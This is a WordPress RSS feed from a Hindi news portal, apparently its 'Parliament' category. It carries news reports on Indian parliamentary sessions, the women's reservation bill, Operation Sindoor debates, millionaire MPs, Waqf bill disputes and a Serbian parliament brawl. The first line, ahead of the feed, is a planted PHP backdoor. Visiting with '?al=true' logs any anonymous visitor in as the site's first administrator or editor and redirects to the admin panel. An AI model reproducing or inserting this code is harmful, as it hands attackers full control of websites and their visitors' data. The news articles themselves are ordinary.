// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Parliament – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 13 Apr 2026 03:55:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.4 महिला आरक्षण बिल पर संसद में सख्ती, बीजेपी ने जारी किया तीन लाइन का व्हिप https://pratyushaashakinayikiran.com/?p=211894 Mon, 13 Apr 2026 03:55:00 +0000 https://pratyushaashakinayikiran.com/?p=211894 नई दिल्ली

गुरुवार से शुरू हो रहे संसद के विस्तारित बजट सत्र के चरण से पहले बीजेपी ने अपने सांसदों को तीन लाइन की व्हिप जारी की है। इसमें कहा गया है कि किसी की भी छुट्टी स्वीकार नहीं होगी। गुरुवार को सबकी उपस्थिति जरूरी है।

महिला आरक्षण विधेयक पर पूरी तैयारी, बीजेपी ने सांसदों को जारी की 3 लाइन की व्हिप
भारतीय जनता पार्टी (BJP) ने अपने सभी सांसदों को तीन लाइन का व्हिप जारी कर उनसे गुरुवार से शुरू होने वाले संसद के विस्तारित बजट सत्र के दौरान अपने-अपने सदन में उपस्थित रहने को कहा है। प्रधानमंत्री नरेन्द्र मोदी के नेतृत्व वाली सरकार ने 16 से 18 अप्रैल तक तीन दिन का विशेष सत्र बुलाया है। इस दौरान महिला आरक्षण अधिनियम में प्रस्तावित संशोधनों पर विचार करने एवं इन्हें पारित करने के लिए पेश किए जाने की संभावना है।

सूत्रों के अनुसार, केंद्रीय मंत्रिमंडल ने गत बुधवार (आठ अप्रैल) को उन प्रारूप विधेयकों को मंजूरी दे दी जिनका उद्देश्य 2029 के संसदीय चुनाव से पहले महिलाओं के लिए आरक्षण लागू करना और लोकसभा सीटों की संख्या बढ़ाकर 816 करना है। इनमें से 273 सीट महिलाओं के लिए आरक्षित होंगी।

भाजपा ने अपने सभी सांसदों को भेजे संदेश में कहा, ''16 से 18 अप्रैल 2026 तक यानी आगामी गुरुवार से शनिवार तक लोकसभा और राज्यसभा में भाजपा के सभी सदस्यों को तीन-लाइन का व्हिप जारी किया जा रहा है।'' इसने कहा, ''सभी माननीय केंद्रीय मंत्रियों और सदस्यों से अनुरोध है कि वे उपर्युक्त तीनों तिथियों पर सदन में उपस्थित रहें।''

संदेश में कहा गया, ''सदन में उपस्थिति अनिवार्य है। कोई अवकाश स्वीकृत नहीं किया जाएगा। सदस्यों से अनुरोध है कि वे व्हिप का सख्ती से पालन करें और सदन में अपनी निर्बाध उपस्थिति सुनिश्चित करें।''

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आज ऑपरेशन सिंदूर पर PM मोदी भी बोलेंगे? 16 घंटे की मैराथन चर्चा की शुरुआत https://pratyushaashakinayikiran.com/?p=173780 Mon, 28 Jul 2025 06:37:00 +0000 https://pratyushaashakinayikiran.com/?p=173780 नई दिल्ली
 21 जुलाई से शुरू हुआ संसद का मॉनसून सत्र अब तक हंगामेदार रहा है। सदन की कार्यवाही सुचारू रूप से नहीं चल सकी। ऐसे में 28 जुलाई यानी आज का दिन बेहद अहम है। संसद के मॉनसून सत्र में आज ऑपरेशन सिंदूर पर 16 घंटे की तीखी बहस शुरू हो रही है। सबसे पहले लोकसभा में इस पर चर्चा है। केंद्रीय मंत्री किरेन रिजिजू ने बताया कि बिजनेस एडवाइजरी कमिटी ने पहलगाम आतंकी हमले और ऑपरेशन सिंदूर पर विशेष चर्चा कराने का फैसला लिया है।विपक्ष कई मुद्दों पर बात करना चाहता था। हालांकि, ऑपरेशन सिंदूर पर बहस को लेकर सहमति पहले बनी। कांग्रेस समेत विपक्षी दलों ने सरकार को पत्र लिखकर संसद के मॉनसून सत्र से पहले ऑपरेशन सिंदूर पर चर्चा कराने की मांग की थी। संसद में होने वाली ऑपरेशन सिंदूर की बहस के दौरान कौन-कौन अपनी बात रखेंगे। किन मुद्दों को उठाया जा सकता है, जानिए अपडेट।

लोकसभा की कार्यवाही दोपहर 12 बजे तक स्थगित

विपक्ष की नारेबाजी के बीच लोकसभा की कार्यवाही 12 बजे तक के लिए स्थगित कर दी गई है। खबर है कि 12 बजे रक्षा मंत्री राजनाथ सिंह ऑपरेशन सिंदूर के मुद्दे पर सदन में चर्चा शुरू कर सकते हैं। ऑपरेशन सिंदूर पर चर्चा के लिए 16 घंटे तय किए हैं।

आप सांसद बोले- पता नहीं चिदंबरम जी को जानकारी कहां से मिली

 AAP सांसद संजय सिंह ने पी चिदंबरम द्वारा यह कहे जाने पर 'पहलगाम के आतंकवादी पाकिस्तान से आए थे, इसका कोई सबूत नहीं है,' पर कहा, "पी चिदंबरम क्या कह रहे हैं ये वही जानें। सरकार का बयान है कि वे पाकिस्तानी आतंकवादी थे और पाकिस्तान का भारत में आतंकवाद फैलाने का इतिहास रहा है… भारत में सभी आतंकवादी हमलों के पीछे पाकिस्तान का हाथ रहा है। मैं यह नहीं कह सकता कि चिदंबरम की जानकारी का स्रोत क्या है…"

 पी चिदंबरम के बयान पर INDIA के दल ने जताई असहमति
 शिवसेना(UBT) नेता प्रियंका चतुर्वेदी ने पी चिदंबरम द्वारा यह कहे जाने पर कि 'पहलगाम के आतंकवादी पाकिस्तान से आए थे, इसका कोई सबूत नहीं है,' पर कहा… वह पूर्व गृह मंत्री रह चुके हैं और कई मंत्रालयों में काम किया है। भारत और पाकिस्तान के बीच पिछले 70 वर्षों के इतिहास में, हमने उनके साथ युद्ध किए हैं और उनकी आतंकी गतिविधियों का सामना किया है… पहले, TRF ने इसकी(पहलगाम की) जिम्मेदारी ली, फिर वह मुकर गया। पाकिस्तान संयुक्त राष्ट्र में TRF के लिए बोलता है… हमें किसी सबूत की जरूरत नहीं है, हमने इसका सामना किया है। यह सब पाकिस्तान द्वारा किया गया है, जो न तो खुद प्रगति कर सका और न ही वह चाहता है कि कोई और ऐसा करे…"

ऑपरेशन सिंदूर पर बहस में ये दिग्गज लेंगे हिस्सा

    ऑपरेशन सिंदूर पर लोकसभा में सोमवार को बहस की शुरुआत रक्षा मंत्री राजनाथ सिंह कर सकते हैं।

    केंद्रीय गृह मंत्री अमित शाह, विदेश मंत्री एस जयशंकर और भारतीय जनता पार्टी के सांसद अनुराग ठाकुर और निशिकांत दुबे भी चर्चा में हिस्सा ले सकते हैं।

    प्रधानमंत्री नरेंद्र मोदी इस बहस का इस्तेमाल विपक्ष पर दबाव बनाने के लिए कर सकते हैं। हालांकि, इस बारे में कोई आधिकारिक जानकारी नहीं है।

    टीडीपी के सांसद लावू श्रीकृष्ण देवरायलू और जीएम हरीश बालायोगी भी चर्चा में हिस्सा ले सकते हैं। पार्टी को बोलने के लिए 30 मिनट का समय दिया गया है।

    विपक्ष की ओर से लोकसभा में नेता प्रतिपक्ष राहुल गांधी, कांग्रेस नेता गौरव गोगोई, मनीष तिवारी अपनी बात रखेंगे।

    समाजवादी पार्टी के प्रमुख अखिलेश यादव, एनसीपी की सुप्रिया सुले और तृणमूल कांग्रेस के सांसद अभिषेक बनर्जी बोलने वालों में शामिल होंगे।

    ऑपरेशन सिंदूर पर बहुदलीय प्रतिनिधिमंडलों में शामिल हुए एनडीए के नेता भी बहस में हिस्सा ले सकते हैं। इन प्रतिनिधिमंडलों ने अलग-अलग देशों की यात्रा की थी।

सदन में पाकिस्तान से तालमेल की भाषा बिल्कुल ना बोले, केंद्रीय मंत्री की विपक्ष को नसीहत

 लोकसभा में 'ऑपरेशन सिंदूर' पर विशेष चर्चा पर केंद्रीय संसदीय कार्य मंत्री किरेन रिजिजू ने कहा, "ऑपरेशन सिंदूर कोई मामूली एक्शन नहीं है, ये बदलते भारत का प्रतीक है। जब ऑपरेशन सिंदूर की चर्चा सदन में शुरू हो रही है तो मेरी विपक्षी दलों से दरख्वास्त है कि कोई भी ऐसी भाषा ना बोलें जिससे भारत की छवि या सेना के मनोबल पर आंच आए। कांग्रेस पार्टी और विपक्ष ऐसा कुछ ना बोले जिससे पाकिस्तान और भारत विरोधी ताकतों को बल मिलता है। कांग्रेस पहले बहुत बार पाकिस्तान की भाषा बोल चुकी है। सदन में पाकिस्तान से तालमेल की भाषा बिल्कुल ना बोले।"

ऑपरेशन सिंदूर पर बहस की बड़ी बातें

    ऑपरेशन सिंदूर पर लोकसभा में सोमवार यानी आज 16 घंटे चर्चा होगी। राज्यसभा में मंगलवार को भी इतनी ही देर तक चर्चा का फैसला लिया गया है।

    ऑपरेशन सिंदूर पर बहस के दौरान, विपक्ष सरकार से अमेरिकी राष्ट्रपति डोनाल्ड ट्रंप के भारत और पाकिस्तान के बीच युद्धविराम कराने के दावों का मुद्दा भी उठा सकता है।

    इस बीच, विपक्षी INDIA गठबंधन के नेता मॉनसून सत्र के दूसरे हफ्ते की रणनीति पर चर्चा करने के लिए सोमवार को सुबह 10 बजे मिलेंगे।

    विपक्ष लगातार मांग कर रहा है कि प्रधानमंत्री नरेंद्र मोदी बहस के दौरान मौजूद रहें। पीएम मोदी पिछले हफ्ते दो देशों की यात्रा पर थे।
    किरेन रिजिजू ने बहस से पहले विपक्ष से 'सदन को बाधित न करने' का अनुरोध किया है। मानसून सत्र का पहला हफ्ता हंगामें और स्थगन भरा रहा। रिजिजू ने कहा कि अगर संसद नहीं चलती है तो यह देश के लिए नुकसान है।

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देश में करोड़पति सांसदों की संख्या में लगातार बढ़ोतरी हुई, पिछले 20 साल में करोड़पति MP की संख्या 504 पहुंची https://pratyushaashakinayikiran.com/?p=144221 Sat, 29 Mar 2025 03:36:00 +0000 https://pratyushaashakinayikiran.com/?p=144221 नई दिल्ली
 देश में करोड़पति सांसदों की संख्या बढ़ रही है। पिछले बीस साल के दौरान देश की संसद में करोड़पति सांसदों की संख्या में बंपर इजाफा हुआ है। साल 2004 में जब से एडीआर ने सांसदों की संपत्ति से जुड़े आंकड़ों का विश्लेषण शुरू किया है तब इससे जुड़े आंकड़े सामने आए हैं। एडीआर की रिपोर्ट के अनुसार पिछले 20 साल में देश में करोड़पति सांसदों की संख्या 153 से बढ़कर साल 2024 में 504 पहुंच गई है।

कुल सांसदों में से करीब 93% करोड़पति

एडीआर की तरफ से विश्लेषण किए गए आंकड़ों के अनुसार साल 2024 में कुल सांसदों में 92.8 फीसदी सांसद करोड़पति हैं। 2024 में हुए लोकसभा चुनाव में जीत हासिल करने वाले 504 सांसद करोड़पति थे। यह संख्या पिछले साल के 479 के मुकाबले 29 अधिक थी। 2019 के लोकसभा चुनाव के बाद करोड़पति सांसदों की संख्या कुल सांसदों का 88.4 फीसदी थी। आंकड़ों को देखें तो 2004 से लेकर 2024 तक संसद में करोड़पति सांसदों की संख्या में लगातार इजाफा हो रहा है।

2004 में महज 29% सांसद करोड़पति

साल 2024 में सांसदों की संपत्ति के विश्लेषण के अनुसार कुल 153 सांसद ही करोड़पति थे। वहीं, इसके बाद 2009 में हुए लोकसभा चुनाव में करोड़पति सांसदों की संख्या 153 से बढ़कर 312 हो गई। इस तरह करोड़पति सांसदों में 29.8 फीसदी वाली हिस्सेदारी बढ़कर 57 फीसदी तक पहुंच गई। 2014 लोकसभा चुनाव के बाद करोड़पति सांसदों की संख्या में तेजी से बढ़ोतरी हुई। इस चुनाव के बाद करोड़पति सांसदों की हिस्सेदारी 57 से बढ़कर 81.9 फीसदी पहुंच गई। खास बात है कि 2014 में सांसदों को अपनी संपत्ति को मार्केट वैल्यू के आधार पर घोषित करने की बात कही गई थी।

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सर्बिया की संसद में भारी उत्पात मचाया, धुआंधार स्मोक ग्रेनेड और आंसू गैस के गोले फेंके https://pratyushaashakinayikiran.com/?p=135937 Tue, 04 Mar 2025 12:35:00 +0000 https://pratyushaashakinayikiran.com/?p=135937 बेलग्रेड

यूरोपीय देश सर्बिया की संसद में विपक्षी सांसदों ने भारी बवाल मचाया है. विपक्षी सांसदों ने संसद में एक के बाद एक कई स्मोक ग्रेनेड और आंसू गैस के गोले फेंके जिससे संसदीय सत्र में भारी अव्यवस्था फैल गई. संसद में हाथापाई भी देखने को मिली.

संसदीय सत्र के लाइव टेलीविजन प्रसारण में दिखाया गया कि सर्बियाई विपक्षी सांसदों ने मंगलवार को सरकार की नीतियों के विरोध में संसद के अंदर स्मोक ग्रेनेड और आंसू गैस के गोले फेंके. इसके बाद पूरे संसद में काला और गुलाबी धुआं फैल गया. विपक्षी सांसद सरकार से नाराज प्रदर्शन कर रहे छात्रों का भी समर्थन कर रहे थे.

किस बात पर नाराज विपक्ष ने संसद में मचाया उत्पात

चार महीने पहले सर्बिया में रेलवे स्टेशन की छत गिरने से 15 लोगों की मौत हो गई थी. इसके बाद सरकार के खिलाफ प्रदर्शन शुरू हुए जो अब सरकार के लिए सबसे बड़ा खतरा बन गए हैं.

विधान सभा सत्र में, सर्बियाई प्रगतिशील पार्टी (एसएनएस) के नेतृत्व वाले सत्तारूढ़ गठबंधन ने सत्र के एजेंडे को मंजूरी दी जिसके बाद कुछ विपक्षी नेता अपनी सीट से उठकर संसद के अध्यक्ष की तरफ दौड़े. इस दौरान सुरक्षा गार्ड्स से उनकी हाथापाई देखने को मिली.

वहीं, कुछ विपक्षी सांसदों ने स्मोक ग्रेनेड और आंसू गैस के गोले फेंके. लाइव प्रसारण में संसद की इमारत के अंदर काला और गुलाबी धुआं उठता दिखाई दिया.

स्पीकर एना ब्रनाबिक ने कहा कि इस दौरान दो सांसद घायल हुए हैं, जिनमें से एक, एसएनएस पार्टी की जैस्मिना ओब्राडोविक को स्ट्रोक हुआ है और उसकी हालत गंभीर है. उन्होंने सत्र में कहा, 'संसद काम करना और सर्बिया की रक्षा करना जारी रखेगी.'

मंगलवार को सर्बियाई संसद को देश की यूनिवर्सिटीज के लिए धनराशि बढ़ाने वाला कानून पारित करना था. इस कानून की मांग को लेकर दिसंबर से ही सर्बिया के छात्र प्रदर्शन कर रहे हैं.

संसद में देश के प्रधानमंत्री मिलोस वुसेविक के इस्तीफे पर भी चर्चा होनी थी लेकिन सत्तारूढ़ गठबंधन ने सत्र के एजेंडे में कई ऐसे मुद्दों को रखा जिससे विपक्ष बुरी तरह भड़क गया.

 

संसदीय सत्र के लाइव टेलीविजन प्रसारण में दिखाया गया कि सर्बियाई विपक्षी सांसदों ने मंगलवार को सरकार की नीतियों के विरोध में संसद के अंदर धुआंधार ग्रेनेड और आंसू गैस के गोले फेंके. इसके बाद पूरे संसद में काला और लाल धुआं फैल गया. विपक्षी सांसद सरकार से नाराज प्रदर्शन कर रहे छात्रों का भी समर्थन कर रहे थे.

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सर्बिया की संसद में भारी उत्पात मचाया, धुआंधार स्मोक ग्रेनेड और आंसू गैस के गोले फेंके https://pratyushaashakinayikiran.com/?p=135938 Tue, 04 Mar 2025 12:35:00 +0000 https://pratyushaashakinayikiran.com/?p=135938 बेलग्रेड

यूरोपीय देश सर्बिया की संसद में विपक्षी सांसदों ने भारी बवाल मचाया है. विपक्षी सांसदों ने संसद में एक के बाद एक कई स्मोक ग्रेनेड और आंसू गैस के गोले फेंके जिससे संसदीय सत्र में भारी अव्यवस्था फैल गई. संसद में हाथापाई भी देखने को मिली.

संसदीय सत्र के लाइव टेलीविजन प्रसारण में दिखाया गया कि सर्बियाई विपक्षी सांसदों ने मंगलवार को सरकार की नीतियों के विरोध में संसद के अंदर स्मोक ग्रेनेड और आंसू गैस के गोले फेंके. इसके बाद पूरे संसद में काला और गुलाबी धुआं फैल गया. विपक्षी सांसद सरकार से नाराज प्रदर्शन कर रहे छात्रों का भी समर्थन कर रहे थे.

किस बात पर नाराज विपक्ष ने संसद में मचाया उत्पात

चार महीने पहले सर्बिया में रेलवे स्टेशन की छत गिरने से 15 लोगों की मौत हो गई थी. इसके बाद सरकार के खिलाफ प्रदर्शन शुरू हुए जो अब सरकार के लिए सबसे बड़ा खतरा बन गए हैं.

विधान सभा सत्र में, सर्बियाई प्रगतिशील पार्टी (एसएनएस) के नेतृत्व वाले सत्तारूढ़ गठबंधन ने सत्र के एजेंडे को मंजूरी दी जिसके बाद कुछ विपक्षी नेता अपनी सीट से उठकर संसद के अध्यक्ष की तरफ दौड़े. इस दौरान सुरक्षा गार्ड्स से उनकी हाथापाई देखने को मिली.

वहीं, कुछ विपक्षी सांसदों ने स्मोक ग्रेनेड और आंसू गैस के गोले फेंके. लाइव प्रसारण में संसद की इमारत के अंदर काला और गुलाबी धुआं उठता दिखाई दिया.

स्पीकर एना ब्रनाबिक ने कहा कि इस दौरान दो सांसद घायल हुए हैं, जिनमें से एक, एसएनएस पार्टी की जैस्मिना ओब्राडोविक को स्ट्रोक हुआ है और उसकी हालत गंभीर है. उन्होंने सत्र में कहा, 'संसद काम करना और सर्बिया की रक्षा करना जारी रखेगी.'

मंगलवार को सर्बियाई संसद को देश की यूनिवर्सिटीज के लिए धनराशि बढ़ाने वाला कानून पारित करना था. इस कानून की मांग को लेकर दिसंबर से ही सर्बिया के छात्र प्रदर्शन कर रहे हैं.

संसद में देश के प्रधानमंत्री मिलोस वुसेविक के इस्तीफे पर भी चर्चा होनी थी लेकिन सत्तारूढ़ गठबंधन ने सत्र के एजेंडे में कई ऐसे मुद्दों को रखा जिससे विपक्ष बुरी तरह भड़क गया.

 

संसदीय सत्र के लाइव टेलीविजन प्रसारण में दिखाया गया कि सर्बियाई विपक्षी सांसदों ने मंगलवार को सरकार की नीतियों के विरोध में संसद के अंदर धुआंधार ग्रेनेड और आंसू गैस के गोले फेंके. इसके बाद पूरे संसद में काला और लाल धुआं फैल गया. विपक्षी सांसद सरकार से नाराज प्रदर्शन कर रहे छात्रों का भी समर्थन कर रहे थे.

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संसद के शीतकालीन सत्र के पांचवें दिन भी नहीं हुई कार्यवाही, दोनों सदन कल तक स्थगित https://pratyushaashakinayikiran.com/?p=107817 Mon, 09 Dec 2024 14:05:00 +0000 https://pratyushaashakinayikiran.com/?p=107817 नई दिल्ली.

संसद के शीतकालीन सत्र का पांचवां दिन भी बर्बाद हो गया. आज सोमवार को 11 बजे कार्यवाही शुरू होने के साथ ही विपक्षी सांसदों ने अपनी-अपनी मांगों को लेकर हंगामा शुरू कर दिया, जिस वजह से कल तक के लिए कार्यवाही स्थगित करनी पड़ी. इससे पहले पिछले हफ्ते के सभी चारों सत्र विपक्षी सांसदों के हंगामे की वजह से स्थगित करने पड़े थे.

माना जा रहा था कि वित्त मंत्री सीतारमण की ओर से आज लोकसभा में बैंकिंग लॉ संशोधन बिल पेश किया जा सकता है, लेकिन नहीं हो सका. शीतकालीन सत्र की शुरुआत पिछले हफ्ते सोमवार को हुई थी, लेकिन संसदीय कार्यवाही हंगामे की से बार-बार बाधित होती रही है. संसद के दोनों सदनों (लोकसभा और राज्यसभा) में अडाणी से जुड़े मामले और उत्तर प्रदेश की संभल हिंसा को लेकर विपक्षी सांसदों की ओर से आज फिर से सरकार को घेरने की संभावना है. सत्र के पहले दिन पिछले सोमवार को कार्यवाही के दौरान उपराष्ट्रपति जगदीप धनखड़ और कांग्रेस के अध्यक्ष मल्लिकार्जुन खरगे के बीच तीखी बहस भी हो गई थी. इस सत्र के दौरान दोनों सदनों की 19-19 बैठकें आयोजित होने हैं.

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संसद के शीतकालीन सत्र से पहले सर्वदलीय बैठक 24 नवंबर को https://pratyushaashakinayikiran.com/?p=100483 Tue, 19 Nov 2024 12:56:00 +0000 https://pratyushaashakinayikiran.com/?p=100483 नई दिल्ली
सरकार ने संसद के शीतकालीन सत्र से पहले 24 नवंबर को पारंपरिक सर्वदलीय बैठक बुलायी है।संसदीय कार्य मंत्री किरेन रिजिजू ने मंगलवार को एक्स पर अपने पोस्ट में कहा कि बैठक संसद के आगामी शीतकालीन सत्र के परिप्रेक्ष्य में बुलायी गयी है।
उन्होंने कहा कि शीतकालीन सत्र 25 नवंबर से शुरू होकर 20 दिसंबर को समाप्त होगा। बैठक का उद्देश्य विपक्षी दलों को विधायी एजेंडे के बारे में जानकारी देना और बहस के लिए विषयों पर चर्चा करना है। इसके अलावा संविधान की 75वीं वर्षगांठ के अवसर पर पुराने संसद भवन में संविधान सदन में कार्यक्रम आयोजित किया जायेगा।

 संसद का शीतकालीन सत्र शुरू होने से पहले सरकार ने रविवार 24 नवंबर को सर्वदलीय बैठक बुलाई है। संसदीय मामलों के मंत्री किरेन रीजीजू ने एक्स पर मंगलवार को गई की एक पोस्ट में बताया कि संसद के आगामी शीतकालीन सत्र के मद्देनजर 24 नवंबर की सुबह सर्वदलीय बैठक बुलाई गई है। संसद का शीतकालीन सत्र 25 नवंबर से शुरू होगा और 20 दिसंबर को समाप्त होगा।

संविधान अपनाने की 75वीं वर्षगांठ के अवसर पर संविधान सदन या पुराने संसद भवन के केंद्रीय कक्ष में एक कार्यक्रम का आयोजन किया जाएगा। सरकार द्वारा सत्र से पहले सर्वदलीय बैठक बुलाई जाती है ताकि विपक्ष को सरकार के विधायी एजेंडे की जानकारी दी जा सके और साथ ही उन मुद्दों पर चर्चा की जा सके जिन पर राजनीतिक दल संसद में बहस करना चाहते हैं।
इन मुद्दों पर हंगामा तय

इस संसद सत्र में कई अहम मुद्दों पर चर्चा होनी है और इसी के चलते सत्र के हंगामेदार रहने की संभावना है। इस सत्र में सबसे अहम विधेयक होगा वक्फ संशोधन विधेयक जिस पर संसद में लंबी चर्चा होगी। इसे लेकर संसद समिति का गठन भी किया गया था और इसी रिपोर्ट पर सदन में चर्चा होगी। समूचे विपक्ष इस विधेयक का विरोध कर रहा है, जिसके कारण सदन में भारी हंगामा होने के आसार हैं। वहीं, संसद में इस बार एक देश-एक चुनाव पर भी चर्चा होनी है। विपक्ष के विरोध के कारण इस पर भी हंगामे की संभावना है।

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Parliament, एयरपोर्ट और कई इलाके Waqf Land पर, बदरुद्दीन अजमल के दावे से विवाद https://pratyushaashakinayikiran.com/?p=85956 Thu, 17 Oct 2024 16:06:00 +0000 https://pratyushaashakinayikiran.com/?p=85956 नई दिल्ली

पूर्व सांसद बदरुद्दीन अजमल ने वक्फ से संबंधित नए विधेयक का कड़ा विरोध किया है। उन्होंने कहा कि देश भर में वक्फ संपत्तियों को लेकर जो चर्चाएँ हो रही हैं, उनमें दिल्ली की प्रमुख जगहों पर स्थित इमारतों और क्षेत्रों को भी शामिल किया जा रहा है। अजमल का दावा है कि संसद भवन, उसके आसपास का क्षेत्र, और वसंत विहार से लेकर एयरपोर्ट तक का इलाका वक्फ की संपत्ति पर स्थित है। उन्होंने यह भी कहा कि कुछ लोग यह मानते हैं कि दिल्ली का एयरपोर्ट भी वक्फ की जमीन पर बनाया गया है।

इस तरह के बयान से वक्फ संपत्तियों को लेकर चल रही चर्चाओं में और अधिक विवाद जुड़ गया है। वक्फ की संपत्तियों का उपयोग आमतौर पर धार्मिक और सामाजिक उद्देश्यों के लिए होता है, और इन संपत्तियों के स्वामित्व के सवाल अक्सर जटिल कानूनी और राजनीतिक विवादों का विषय बनते हैं। अजमल के इस बयान से यह मुद्दा और अधिक संवेदनशील हो सकता है, और सरकार की प्रतिक्रिया भी महत्वपूर्ण होगी, खासकर अगर इसे संसद में चर्चा का विषय बनाया जाता है।उन्होंने आगे कहा, “बिना अनुमति के वक्फ की जमीन का इस्तेमाल करना गलत है। वक्फ बोर्ड के इस मुद्दे पर वे (मोदी सरकार) बहुत जल्द अपनी सरकार खो देंगे।” इस बीच, विपक्षी सांसदों ने वक्फ (संशोधन) विधेयक 2024 पर संयुक्त संसदीय समिति की बैठक के दौरान संसदीय आचार संहिता के घोर उल्लंघन पर लोकसभा अध्यक्ष ओम बिरला को पत्र लिखा है।

पूर्व सांसद अजमल ने वक्फ बिल का विरोध किया है और कहा, "इस बारे में आवाजें उठ रही हैं और दुनिया भर में वक्फ संपत्तियों की सूची सामने आ रही है। संसद भवन, उसके आसपास के इलाके और वसंत विहार से लेकर एयरपोर्ट तक का पूरा इलाका वक्फ की संपत्ति पर बना है। लोगों का यह भी कहना है कि एयरपोर्ट वक्फ की संपत्ति पर बना है।"

उन्होंने आगे कहा, "बिना अनुमति के वक्फ की जमीन का इस्तेमाल करना गलत है। वक्फ बोर्ड के इस मुद्दे पर वे (मोदी सरकार) बहुत जल्द अपनी सरकार खो देंगे।" इस बीच, विपक्षी सांसदों ने वक्फ (संशोधन) विधेयक 2024 पर संयुक्त संसदीय समिति की बैठक के दौरान संसदीय आचार संहिता के घोर उल्लंघन पर लोकसभा अध्यक्ष ओम बिरला को पत्र लिखा है।

इस पत्र में विपक्षी सांसदों ने 14 अक्टूबर को नई दिल्ली में आयोजित JPC की बैठक के दौरान समिति के अध्यक्ष जगदंबिका पाल द्वारा संसदीय आचार संहिता और प्रक्रिया के नियमों के कई उल्लंघनों का आरोप लगाया है। लोकसभा अध्यक्ष को लिखे पत्र में विपक्षी सांसदों ने कहा, "समिति की कार्यवाही अध्यक्ष जगदंबिका पाल द्वारा पक्षपातपूर्ण तरीके से संचालित की गई। अध्यक्ष द्वारा अनवर मणिप्पाडी को समिति के समक्ष साक्ष्य प्रस्तुत करने के लिए दिया गया निमंत्रण समिति के दायरे और अधिकार क्षेत्र में नहीं है।"

विपक्षी सांसदों ने यह भी दावा किया कि "कर्नाटक वक्फ घोटाला रिपोर्ट 2012 पर आधारित वक्फ विधेयक 2012 पर प्रस्तुति" शीर्षक वाले नोट में वक्फ विधेयक पर कोई टिप्पणी नहीं थी, बल्कि इसमें मल्लिकार्जुन खड़गे सहित कर्नाटक कांग्रेस के नेताओं के खिलाफ केवल राजनीतिक रूप से प्रेरित आरोप थे।

विपक्षी सांसदों ने 14 अक्टूबर को नई दिल्ली में आयोजित संयुक्त संसदीय समिति (JPC) की बैठक के दौरान अध्यक्ष जगदंबिका पाल पर संसदीय आचार संहिता और प्रक्रिया के नियमों के उल्लंघन का आरोप लगाते हुए लोकसभा अध्यक्ष को पत्र लिखा है। इस पत्र में कहा गया है कि जगदंबिका पाल ने समिति की कार्यवाही को पक्षपातपूर्ण तरीके से संचालित किया। विशेष रूप से, विपक्षी सांसदों ने आपत्ति जताई है कि अध्यक्ष ने अनवर मणिप्पाडी को समिति के समक्ष साक्ष्य प्रस्तुत करने के लिए बुलाया, जो उनके अनुसार समिति के दायरे और अधिकार क्षेत्र में नहीं आता था।

यह विवाद इस बात पर केंद्रित है कि समिति की कार्यवाही निष्पक्ष और पारदर्शी होनी चाहिए, और विपक्षी सांसदों का आरोप है कि इस बैठक में ऐसा नहीं हुआ। संसदीय समितियों में इस प्रकार के आरोप गंभीर माने जाते हैं, क्योंकि ये समितियाँ महत्वपूर्ण नीतिगत और विधायी मामलों पर विचार करती हैं। ऐसे मामलों में लोकसभा अध्यक्ष की भूमिका महत्वपूर्ण होती है, क्योंकि उन्हें इन आरोपों का मूल्यांकन करना होता है और यह सुनिश्चित करना होता है कि संसदीय प्रक्रियाओं का पालन हो।

विपक्षी सांसदों ने अपने पत्र में यह भी आरोप लगाया है कि जिस नोट का शीर्षक “कर्नाटक वक्फ घोटाला रिपोर्ट 2012 पर आधारित वक्फ विधेयक 2012 पर प्रस्तुति” था, उसमें वक्फ विधेयक पर कोई ठोस टिप्पणी या विश्लेषण नहीं था। इसके बजाय, उन्होंने दावा किया कि उस नोट में कर्नाटक कांग्रेस के प्रमुख नेताओं, विशेष रूप से मल्लिकार्जुन खड़गे, के खिलाफ राजनीतिक रूप से प्रेरित आरोप लगाए गए थे।

सांसदों का कहना है कि इस प्रस्तुति का असल उद्देश्य वक्फ विधेयक से जुड़े मुद्दों पर चर्चा करना था, लेकिन इसके बजाय इसे राजनीतिक हितों की पूर्ति के लिए इस्तेमाल किया गया। विपक्षी नेताओं ने इस बात पर भी जोर दिया कि ऐसे मुद्दों पर निष्पक्ष और तथ्यात्मक चर्चा होनी चाहिए, न कि राजनीतिक लाभ के लिए विपक्षी नेताओं को निशाना बनाया जाना चाहिए।

 

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नई parliament का ऐसा हाल… जब छत से ही टपकने लगा पानी, कांग्रेस ने उठा दिए सवाल https://pratyushaashakinayikiran.com/?p=56244 Thu, 01 Aug 2024 12:46:00 +0000 https://pratyushaashakinayikiran.com/?p=56244 नई दिल्ली

दिल्ली में 31 जुलाई की बारिश के बाद संसद भवन में भी जलभराव दिखाई दिया, इतनी बारिश हुई कि छत से पानी टपकने लगा वहीं इसे लेकर विपक्षी दलों ने इसके लिए सरकार पर निशाना साधा है और विपक्षी दल पुरानी संसद से इसकी तुलना कर रहे हैं। इसको लेकर कांग्रेस ने नोटिस दिया है कांग्रेस ने संसद में पानी भरने पर सवाल उठाते हुए ये नोटिस दिया है।

करीब 1200 करोड़ की लागत से बनीं नई संसद की छत बारिश के बाद टपकने लगी, जिसका वीडियो कांग्रेस सांसद मणिकम टैगोर ने शेयर किया है गौर हो कि नई संसद की इमारत का उद्घाटन पिछले साल यानी 28 मई 2023 को हुआ था।

कांग्रेस सांसद मणिकम टैगोर ने संसद के नए भवन में पानी लीकेज का वीडियो जारी कर लगाया स्थगन प्रस्ताव कागज़ बाहर लीक, अंदर पानी लीक। संसद के लॉबी में हाल ही में हुए पानी के रिसाव से मौसम सहनशीलता के मुद्दे उजागर होते हैं, जो नई इमारत के पूरा होने के सिर्फ एक साल बाद ही सामने आए हैं इस मुद्दे पर लोकसभा में स्थगन प्रस्ताव लगाया।

